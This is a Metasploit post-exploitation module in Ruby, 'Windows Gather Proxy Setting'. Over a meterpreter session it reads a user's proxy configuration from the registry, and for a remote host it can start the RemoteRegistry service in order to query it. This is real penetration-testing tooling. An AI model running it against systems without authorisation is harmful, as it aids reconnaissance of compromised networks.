metasploit-framework/modules/post/windows/gather/enum_proxy.rb

105 lines
3.5 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Post
include Post::Windows::Services
def initialize
super(
'Name' => 'Windows Gather Proxy Setting',
'Description' => %q{
This module pulls a user's proxy settings. If neither RHOST or SID
are set it pulls the current user, else it will pull the user's settings
specified SID and target host.
},
'Author' => [ 'mubix' ],
'License' => MSF_LICENSE,
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
register_options(
[
OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
OptString.new('SID', [ false, 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ])
], self.class)
end
def run
if datastore['SID']
root_key, base_key = session.sys.registry.splitkey("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
else
root_key, base_key = session.sys.registry.splitkey("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
end
if datastore['RHOST']
begin
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
print_status("Attempting to start service remotely...")
begin
service_start('RemoteRegistry',datastore['RHOST'])
rescue
print_error('Unable to read registry or start the service, exiting...')
return
end
startedreg = true
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
end
open_key = key.open_key(base_key)
else
open_key = session.sys.registry.open_key(root_key, base_key)
end
values = open_key.query_value('DefaultConnectionSettings')
#If we started the service we need to stop it.
service_stop('RemoteRegistry',datastore['RHOST']) if startedreg
data = values.data
print_status "Proxy Counter = #{(data[4,1].unpack('C*'))[0]}"
case (data[8,1].unpack('C*'))[0]
when 1
print_status "Setting: No proxy settings"
when 3
print_status "Setting: Proxy server"
when 5
print_status "Setting: Set proxy via AutoConfigure script"
when 7
print_status "Setting: Proxy server and AutoConfigure script"
when 9
print_status "Setting: WPAD"
when 11
print_status "Setting: WPAD and Proxy server"
when 13
print_status "Setting: WPAD and AutoConfigure script"
when 15
print_status "Setting: WPAD, Proxy server and AutoConfigure script"
else
print_status "Setting: Unknown proxy setting found"
end
cursor = 12
proxyserver = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
print_status "Proxy Server: #{proxyserver}" if proxyserver != ""
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
additionalinfo = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
print_status "Additional Info: #{additionalinfo}" if additionalinfo != ""
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
autoconfigurl = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
print_status "AutoConfigURL: #{autoconfigurl}" if autoconfigurl != ""
end
end